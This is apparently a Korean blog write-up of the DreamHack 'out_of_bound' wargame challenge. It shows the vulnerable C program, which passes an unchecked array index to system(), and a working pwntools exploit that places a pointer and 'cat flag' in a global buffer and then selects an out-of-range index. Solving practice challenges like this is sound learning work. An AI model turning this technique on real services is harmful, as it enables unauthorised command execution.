본문 바로가기

out_of_bound 본문

wargame/DreamHack

out_of_bound

Seongjun_You 2021. 11. 28. 21:50

https://dreamhack.io/wargame/challenges/11

 

out_of_bound

Description 이 문제는 서버에서 작동하고 있는 서비스(outofbound)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요. "flag" 파일을 읽어 워게임 사이트

dreamhack.io

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

 

인덱스의 범위를 상정하지 않는 OOB 취약점을 이용한다.

우리가 원하는 주소에 원하는 값을 집어넣는다.

 

 

exploit

from pwn import *
p = remote("host1.dreamhack.games",19757)
payload = p32(0x0804a0b0)
payload += b"cat flag"

p.send(payload)
p.send(b'19')

print(p.recvrepeat(1))
p.interactive()

'wargame > DreamHack' 카테고리의 다른 글

basic_rop_x86  (0) 2021.11.30
sint  (0) 2021.11.30
off_by_one_001  (0) 2021.11.28
Dreamhack - off_by_one_000  (0) 2021.11.15
Dreamhack - basic_exploitation_003  (0) 2021.11.03
Comments